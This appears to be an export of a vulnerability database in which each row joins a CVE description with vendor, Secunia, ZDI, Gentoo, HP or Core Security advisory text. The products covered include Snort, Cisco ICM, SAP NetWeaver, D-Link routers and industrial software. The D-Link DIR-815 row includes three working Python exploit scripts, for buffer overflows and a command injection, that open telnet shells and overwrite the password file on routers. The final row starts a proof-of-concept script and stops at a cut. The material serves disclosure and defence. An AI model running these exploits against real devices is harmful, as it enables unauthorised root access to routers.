Initial Release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRdop4+xOF3G+ig+rAQKdtAgAhQY66LRfVlNkH30Q5RI0gIo5Vhu14yDP qulLEyzjDhC7gDHWBGQYdE9eCy9Yf3P4BfKJS0766he/7CFn+BaDs7ohnXaynHQq +kMYNBMBg2RbrGKfOGRLHc0P6X1tSP3w45IppjOv9Yo5SUVDCa7beZWURCIKZyp6 OuYXtnpiGNctHgeU56US0sfuKj8qP7KOd9pCDRDQRhJ3UUd9wDpXee66HBxchh+w RSIQiMxisOX9mMYBW3z4DM/lb7PxXoa2Q7DwjM1NIOe/0tAObCOvF4uYhOLCVyNg +EbcN9123V0PW95FITlHXvJU6K8srnnK+Fhpfyi4vg5bYeEF2WiUrg== =T7v8 -----END PGP SIGNATURE----- . February 19, 2007 Summary: Sourcefire has learned of a remotely exploitable vulnerability in the Snort DCE/RPC preprocessor. Sourcefire has prepared updates for Snort open-source software to address this issue. Mitigating Factors: Users who have disabled the DCE/RPC preprocessor are not vulnerable. Recommended Actions: * Open-source Snort 2.6.1.x users are advised to upgrade to Snort 2.6.1.3 (or later) immediately. * Open-source Snort 2.7 beta users are advised to mitigate this issue by disabling the DCE/RPC preprocessor. This issue will be resolved in Snort 2.7 beta 2. Workarounds: Snort users who cannot upgrade immediately are advised to disable the DCE/RPC preprocessor by removing the DCE/RPC preprocessor directives from snort.conf and restarting Snort. However, be advised that disabling the DCE/RPC preprocessor reduces detection capabilities for attacks in DCE/RPC traffic. After upgrading, customers should reenable the DCE/RPC preprocessor. Detecting Attacks Against This Vulnerability: Sourcefire will be releasing a rule pack that provides detection for attacks against this vulnerability. Has Sourcefire received any reports that this vulnerability has been exploited? - No. Sourcefire has not received any reports that this vulnerability has been exploited. Acknowledgments: Sourcefire would like to thank Neel Mehta from IBM X-Force for reporting this issue and working with us to resolve it. ------------------------------------------------------------------------- Take Surveys. Earn Cash. Influence the Future of IT Join SourceForge.net's Techsay panel and you'll get the chance to share your opinions on IT & business topics through brief surveys-and earn cash http://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV _______________________________________________ Snort-announce mailing list Snort-announce@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/snort-announce . Resolution ========== All Snort users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-analyzer/snort-2.6.1.3" References ========== [ 1 ] CVE-2006-5276 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5276 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200703-01.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2007 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 |
| var-201011-0225 | Multiple stack-based buffer overflows in agent.exe in Setup Manager in Cisco Intelligent Contact Manager (ICM) before 7.0 allow remote attackers to execute arbitrary code via a long parameter in a (1) HandleUpgradeAll, (2) AgentUpgrade, (3) HandleQueryNodeInfoReq, or (4) HandleUpgradeTrace TCP packet, aka Bug IDs CSCti45698, CSCti45715, CSCti45726, and CSCti46164. The problem is Bug ID CSCti45698 , CSCti45715 , CSCti45726 ,and CSCti46164 It is a problem.By a third party (1) HandleUpgradeAll , (2) AgentUpgrade , (3) HandleQueryNodeInfoReq , (4) HandleUpgradeTrace TCP Arbitrary code could be executed via overly long parameters in the packet. Authentication is not required to exploit this vulnerability. The flaw exists within the Agent.exe component which listens by default on TCP port 40078. When processing the HandleUpgradeAll packet type an unchecked copy of user supplied data is performed into a stack-based buffer of a controlled size. Successful exploitation of this vulnerability leads to remote code execution under the context of the SYSTEM user. This may result in a compromise of the underlying system. Failed attempts may lead to a denial-of-service condition. ---------------------------------------------------------------------- Secure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM) Beta. Join the beta: http://secunia.com/products/corporate/vim/ ---------------------------------------------------------------------- TITLE: Cisco Intelligent Contact Manager Setup Manager "Agent.exe" Multiple Vulnerabilities SECUNIA ADVISORY ID: SA42146 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/42146/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=42146 RELEASE DATE: 2010-11-09 DISCUSS ADVISORY: http://secunia.com/advisories/42146/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/42146/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=42146 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Some vulnerabilities have been reported in Cisco Intelligent Contact Manager Setup Manager, which can be exploited by malicious people to compromise a vulnerable system. 1) A boundary error within Agent.exe when handling the "HandleUpgradeAll" packet can be exploited to cause a stack-based buffer overflow via a specially crafted request sent to e.g. TCP port 40078. 2) A boundary error within Agent.exe when handling the "AgentUpgrade" packet can be exploited to cause a stack-based buffer overflow via a specially crafted request sent to e.g. TCP port 40078. 3) A boundary error within Agent.exe when handling the "HandleQueryNodeInfoReq" packet can be exploited to cause a stack-based buffer overflow via a specially crafted request sent to e.g. TCP port 40078. 4) A boundary error within Agent.exe when handling the "HandleUpgradeTrace" packet can be exploited to cause a stack-based buffer overflow via a specially crafted request sent to e.g. TCP port 40078. Please see the vendor's advisory for the list of affected versions. SOLUTION: The vendor recommends to delete the Agent.exe file or restrict network access to the affected service. Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ PROVIDED AND/OR DISCOVERED BY: sb, reported via ZDI. ORIGINAL ADVISORY: Cisco: http://tools.cisco.com/security/center/viewAlert.x?alertId=21726 ZDI: http://www.zerodayinitiative.com/advisories/ZDI-10-232/ http://www.zerodayinitiative.com/advisories/ZDI-10-233/ http://www.zerodayinitiative.com/advisories/ZDI-10-234/ http://www.zerodayinitiative.com/advisories/ZDI-10-235/ OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ EXPLOIT: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . ZDI-10-232: Cisco ICM Setup Manager Agent.exe HandleUpgradeAll Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-10-232 November 7, 2010 -- CVE ID: CVE-2010-3040 -- CVSS: 10, (AV:N/AC:L/Au:N/C:C/I:C/A:C) -- Affected Vendors: Cisco -- Affected Products: Cisco Unified Intelligent Contact Management -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 9915. -- Vendor Response: Cisco has issued an update to correct this vulnerability. More details can be found at: http://tools.cisco.com/security/center/viewAlert.x?alertId=21726 -- Disclosure Timeline: 2010-06-01 - Vulnerability reported to vendor 2010-11-07 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by: * sb -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi |
| var-201112-0297 | Multiple cross-site scripting (XSS) vulnerabilities in the Virus Scan Interface in SAP Netweaver allow remote attackers to inject arbitrary web script or HTML via the (1) instname parameter to the VsiTestScan servlet and (2) name parameter to the VsiTestServlet servlet. The CTC service has an error when performing some verification checks and can be utilized to access user management and OS command execution functions. Inputs passed to the BAPI Explorer through partial transactions are missing prior to use and can be exploited to inject arbitrary HTML and script code that can be executed on the target user's browser when viewed maliciously. When using transaction \"sa38\", RSTXSCRP reports an error and can be exploited to inject any UNC path through the \"File Name\" field. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. TH_GREP reports an error when processing a partial SOAP request, and can inject any SHELL command with the \"<STRING>\" parameter. The SPML service allows users to perform cross-site request forgery attacks, and can log in to the user administrator context to perform arbitrary operations, such as creating arbitrary users. SAP Netweaver is prone to multiple cross-site scripting vulnerabilities, a path traversal vulnerability, an html-injection vulnerability, a cross-site request-forgery vulnerability, and an authentication-bypass vulnerability. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, execute arbitrary commands in the context of the application, disclose sensitive information, perform certain administrative actions, gain unauthorized access, or bypass certain security restrictions |
| var-201507-0645 | D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment. A buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. ## Advisory Information Title: DIR-815 Buffer overflows and Command injection in authentication and HNAP functionalities Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-815 -- Wireless N300 Dual Band Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. ## Details Buffer overflow in auth ---------------------------------------------------------------------------------------------------------------------- import urllib import urllib2 # This exploits the auth_main.cgi with read buffer overflow exploit for v2.02 # prequisite is just to have id and password fields in params url = 'http://192.168.0.1/authentication.cgi' junk = "A"*1004+"B"*37+"\x58\xf8\x40\x00" # address of system function in executable junk+="X"*164+'echo "Admin" "Admin" "0" > /var/passwd\x00'+"AAAA" values = "id=test&password=test&test="+junk req = urllib2.Request(url, values) response = urllib2.urlopen(req) the_page = response.read() ---------------------------------------------------------------------------------------------------------------------- Buffer overflow in HNAP ---------------------------------------------------------------------------------------------------------------------- import socket import struct # format junk+ROP1(have right value in A0) + ROP2(add or subtract to create right system address) + ROP3(Jump to right address) buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"H"*286 buf+= "\x40\xF4\xB1\x2A" # (ROP gadget which puts right value in A0) buf+= "B"*20+"ZZZZ"+"telnetd -p 6778"+"C"*5 # adjustment to get to the right payload buf+="\xA0\xb2\xb4\x2a" # The system address is 2Ab4b200 so changing that in GDB just before jumping to test if it works which it does not buf+= "\r\n" + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("1.2.3.4", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Command injection in ---------------------------------------------------------------------------------------------------------------------- import socket import struct # CSRF or any other trickery, but probably only works when connected to network I suppose buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 99.249.143.124\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd -p 9090;\r\n' + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.0.1", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com) |
| var-201803-1810 | A Stack-based Buffer Overflow issue was discovered in Delta Electronics Delta Industrial Automation DOPSoft, Version 4.00.01 or prior. Stack-based buffer overflow vulnerabilities caused by processing specially crafted .dop or .dpb files may allow an attacker to remotely execute arbitrary code. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation DOPSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of the BackgroundMacro structure in a DPA file. An attacker can leverage this vulnerability to execute code under the context of the current process. Failed exploit attempts will likely cause a denial-of-service condition. Versions prior to DOPSoft 4.00.04 are vulnerable |
| var-201809-0087 | WECON LeviStudio Versions 1.8.29 and 1.8.44 have multiple stack-based buffer overflow vulnerabilities that can be exploited when the application processes specially crafted project files. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Wecon LeviStudioU. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of the UserMgr.xml file. When parsing the GroupList ID element, the process does not properly validate the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code under the context of Administrator. WECON LeviStudio is a set of human interface programming software from WECON, China |
| var-200607-0396 | Multiple stack-based buffer overflows in eIQnetworks Enterprise Security Analyzer (ESA) before 2.5.0, as used in products including (a) Sidewinder, (b) iPolicy Security Manager, (c) Astaro Report Manager, (d) Fortinet FortiReporter, (e) Top Layer Network Security Analyzer, and possibly other products, allow remote attackers to execute arbitrary code via long (1) DELTAINTERVAL, (2) LOGFOLDER, (3) DELETELOGS, (4) FWASERVER, (5) SYSLOGPUBLICIP, (6) GETFWAIMPORTLOG, (7) GETFWADELTA, (8) DELETERDEPDEVICE, (9) COMPRESSRAWLOGFILE, (10) GETSYSLOGFIREWALLS, (11) ADDPOLICY, and (12) EDITPOLICY commands to the Syslog daemon (syslogserver.exe); (13) GUIADDDEVICE, (14) ADDDEVICE, and (15) DELETEDEVICE commands to the Topology server (Topology.exe); the (15) LICMGR_ADDLICENSE command to the License Manager (EnterpriseSecurityAnalyzer.exe); the (16) TRACE and (17) QUERYMONITOR commands to the Monitoring agent (Monitoring.exe); and possibly other vectors related to the Syslog daemon (syslogserver.exe). Used in the following products eIQnetworks Enterprise Security Analyzer (ESA) Is Syslog daemon (syslogserver.exe) A stack-based buffer overflow vulnerability exists due to a flaw in handling. During the processing of long arguments to the LICMGR_ADDLICENSE command a classic stack based buffer overflow occurs. Authentication is not required to exploit this vulnerability.The specific flaw exists within the Syslog daemon, syslogserver.exe, during the processing of long strings transmitted to the listening TCP port. The vulnerability is not exposed over UDP. The default configuration does not expose the open TCP port. eIQnetworks Enterprise Security Analyzer (ESA) is an enterprise-level security management platform. The following commands are known to be affected by this vulnerability: DELTAINTERVAL LOGFOLDER DELETELOGS FWASERVER SYSLOGPUBLICIP GETFWAIMPORTLOG GETFWADELTA DELETERDEPDEVICE COMPRESSRAWLOGFILE GETSYSLOGFIREWALLS ADDPOLICY EDITPOLICY. TSRT-06-03: eIQnetworks Enterprise Security Analyzer Syslog Server Buffer Overflow Vulnerabilities http://www.zerodayinitiative.com/advisories/TSRT-06-03.html July 25, 2006 -- CVE ID: CVE-2006-3838 -- Affected Vendor: eIQnetworks -- Affected Products: eIQnetworks Enterprise Security Analyzer Astaro Report Manager (OEM) Fortinet FortiReporter (OEM) iPolicy Security Reporter (OEM) SanMina Viking Multi-Log Manager (OEM) Secure Computing G2 Security Reporter (OEM) Top Layer Network Security Analyzer (OEM) -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability since July 24, 2006 by Digital Vaccine protection filter ID 4319. Authentication is not required to exploit this vulnerability. -- Vendor Response: eIQnetworks has issued an update to correct this vulnerability. More details can be found at: http://www.eiqnetworks.com/products/enterprisesecurity/ EnterpriseSecurityAnalyzer/ESA_2.5.0_Release_Notes.pdf -- Disclosure Timeline: 2006.05.10 - Vulnerability reported to vendor 2006.07.24 - Digital Vaccine released to TippingPoint customers 2006.07.25 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by Cody Pierce, TippingPoint Security Research Team. -- About the TippingPoint Security Research Team (TSRT): The TippingPoint Security Research Team (TSRT) consists of industry recognized security researchers that apply their cutting-edge engineering, reverse engineering and analysis talents in our daily operations. More information about the team is available at: http://www.tippingpoint.com/security The by-product of these efforts fuels the creation of vulnerability filters that are automatically delivered to our customers' intrusion prevention systems through the Digital Vaccine(R) service. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ |
| var-201702-0423 | An issue was discovered in Delta Electronics WPLSoft, Versions prior to V2.42.11, ISPSoft, Versions prior to 3.02.11, and PMSoft, Versions prior to2.10.10. There are multiple instances of heap-based buffer overflows that may allow malicious files to cause the execution of arbitrary code or a denial of service. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation WPLSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of data from a LAD file. A crafted length element can trigger an overflow of a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Delta Electronics WPLSoft and others are software control platforms used by Delta Electronics to edit the Delta DVP series of programmable logic controllers (PLCs). A heap buffer overflow vulnerability exists in several Delta Electronics products |
| var-202305-1588 | D-Link DIR-2150 SetNTPServerSettings Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20553. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company |
| var-201112-0173 | The default configuration of the HP CM8060 Color MFP with Edgeline; Color LaserJet 3xxx, 4xxx, 5550, 9500, CMxxxx, CPxxxx, and Enterprise CPxxxx; Digital Sender 9200c and 9250c; LaserJet 4xxx, 5200, 90xx, Mxxxx, and Pxxxx; and LaserJet Enterprise 500 color M551, 600, M4555 MFP, and P3015 enables the Remote Firmware Update (RFU) setting, which allows remote attackers to execute arbitrary code by using a session on TCP port 9100 to upload a crafted firmware update. HP Printers and Digital Senders are prone to a security-bypass vulnerability. An attacker may leverage the issue to remotely install malicious printer firmware. The unauthorized firmware could also cause a Denial of Service to the device. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c03102449 Version: 3 HPSBPI02728 SSRT100692 rev.3 - Certain HP Printers and HP Digital Senders, Remote Firmware Update Enabled by Default NOTICE: The information in this Security Bulletin should be acted upon as soon as possible. Release Date: 2011-11-30 Last Updated: 2012-01-09 Potential Security Impact: Remote firmware update enabled by default Source: Hewlett-Packard Company, HP Software Security Response Team VULNERABILITY SUMMARY A potential security vulnerability has been identified with certain HP printers and HP digital senders. References: CVE-2011-4161 SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. Please refer to the RESOLUTION below for a list of impacted products. A firmware update can be sent remotely to port 9100 without authentication. RESOLUTION The following steps can be taken to avoid unauthorized firmware updates: Update the firmware to a version that implements code signing Disable the Remote Firmware Update The code signing feature verifies that firmware updates are properly signed. This will prevent the installation of invalid firmware updates. Note: A firmware update may be required to allow the RFU to be disabled or to implement code signing. Code signing is not available on all the affected devices. Please refer to the following table. Firmware updates for any of the products can also be downloaded as follows. Browse to www.hp.com/go/support then: Select "Drivers & Software" Enter the product name listed in the table above into the search field Click on "Search" If the search returns a list of products click on the appropriate product Under "Select operating system" click on "Cross operating system (BIOS, Firmware, Diagnostics, etc.)" If the "Cross operating system ..." link is not present, select any Windows operating system from the list. Select the appropriate firmware update under "Firmware" HISTORY Version:1 (rev.1) - 30 November 2011 Initial release Version:2 (rev.2) - 23 December 2011 Code signing firmware available Version:3 (rev.3) - 9 January 2012 Combined tables Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HP Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hp.com. Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com Subscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins Security Bulletin List: A list of HP Security Bulletins, updated periodically, is contained in HP Security Notice HPSN-2011-001: https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c02964430 Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://h20566.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/ Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB. 3C = 3COM 3P = 3rd Party Software GN = HP General Software HF = HP Hardware and Firmware MP = MPE/iX MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PI = Printing and Imaging PV = ProCurve ST = Storage Software TU = Tru64 UNIX UX = HP-UX Copyright 2012 Hewlett-Packard Development Company, L.P. Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits;damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iEYEARECAAYFAk8KykcACgkQ4B86/C0qfVl09ACg1m3AQDGq/VzvFgb4j6bj3fJU VnkAoO9oPSjyrVB07qLIBpcXALxLRRRg =mXzy -----END PGP SIGNATURE----- . However, the information is applicable to all the devices listed above. This revision, version 6, of the Security Bulletin announces the availability of firmware updates for additional devices |
| var-201103-0371 | SAP Crystal Reports Server is a complete reporting solution for creating, managing, and delivering reports through the web or embedded enterprise applications. There is an input validation error in SAP Crystal Reports Server. The input passed to aa-open-inlist.jsp via the \"url\", \"sWindow\", \"BEGIN_DATE\", \"END_DATE\", \"CURRENT_DATE\" and \"CURRENT_SLICE\" parameters is missing before returning to the user. Filtering can lead to cross-site scripting attacks |
| var-201706-0017 | In FortiClientWindows 5.4.1 and 5.4.2, an attacker may escalate privilege via a FortiClientNamedPipe vulnerability. fortinet's Windows for FortiClient contains vulnerabilities related to authorization, privileges, and access control.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Fortinet FortiClient is prone to a privilege-escalation vulnerability. An attacker can exploit this issue to execute arbitrary code with elevated privileges. FortiClient 5.4.1 and 5.4.2 are vulnerable. Fortinet FortiClient is a mobile terminal security solution developed by Fortinet. The solution provides IPsec and SSL encryption, WAN optimization, endpoint compliance, and two-factor authentication when connected to FortiGate firewall appliances |
| var-202305-1520 | D-Link DIR-2150 SetSysEmailSettings EmailFrom Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20556. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company |
| var-202407-0490 | A vulnerability has been identified in SIMATIC PCS neo V4.0 (All versions), SIMATIC STEP 7 V16 (All versions), SIMATIC STEP 7 V17 (All versions), SIMATIC STEP 7 V18 (All versions < V18 Update 2). Affected applications do not properly restrict the .NET BinaryFormatter when deserializing user-controllable input. This could allow an attacker to cause a type confusion and execute arbitrary code within the affected application. This is the same issue that exists for .NET BinaryFormatter https://docs.microsoft.com/en-us/visualstudio/code-quality/ca2300. SIMATIC PCS neo is a distributed control system (DCS). SIMATIC STEP 7 (TIA Portal) is an engineering software for configuring and programming SIMATIC controllers. Totally Integrated Automation Portal (TIA Portal) is a PC software that provides the full range of Siemens digital automation services, from digital planning, integrated engineering to transparent operation |
| var-201810-0396 | Advantech WebAccess 8.3.1 and earlier has several stack-based buffer overflow vulnerabilities that have been identified, which may allow an attacker to execute arbitrary code. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwclient.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech (Advantech) WebAccess software is the core of Advantech's IoT application platform solution, providing users with a user interface based on HTML5 technology to achieve cross-platform and cross-browser data access experience. A stack buffer overflow vulnerability exists in Advantech WebAccess. Advantech WebAccess is prone to the following security vulnerabilities: 1. A directory-traversal vulnerability 3. An arbitrary-file-deletion vulnerability 4. This may aid in further attacks. Advantech WebAccess 8.3.1 and prior versions are vulnerable |
| var-202001-0833 | A Denial of Service vulnerability exists in the WRITE_C function in the msg_server.exe module in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04 when sending a crafted SAP Message Server packet to TCP ports 36NN and/or 39NN. SAP NetWeaver Contains an array index validation vulnerability.Denial of service operation (DoS) May be in a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. The following products are affected: SAP Netweaver 2004s SAP Netweaver 7.01 SR1 SAP Netweaver 7.02 SP06 SAP Netweaver 7.30 SP04. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ CORE-2012-1128 1. *Advisory Information* Title: SAP Netweaver Message Server Multiple Vulnerabilities Advisory ID: CORE-2012-1128 Advisory URL: http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities Date published: 2013-02-13 Date of last update: 2013-02-13 Vendors contacted: SAP Release mode: Coordinated release 2. *Vulnerability Information* Class: Improper Validation of Array Index [CWE-129], Buffer overflow [CWE-119] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1592, CVE-2013-1593 3. By sending different messages, the different vulnerabilities can be triggered. 4. *Vulnerable packages* . Older versions are probably affected too, but they were not checked. 5. *Non-vulnerable packages* . Vendor did not provide this information. 6. *Vendor Information, Solutions and Workarounds* SAP released the security note 1800603 [2] regarding these issues. 7. *Credits* Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and Francisco Falcon, and additional research was performed by Francisco Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* The following python script is the main PoC that can be used to reproduce all vulnerabilities described below: /----- import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", 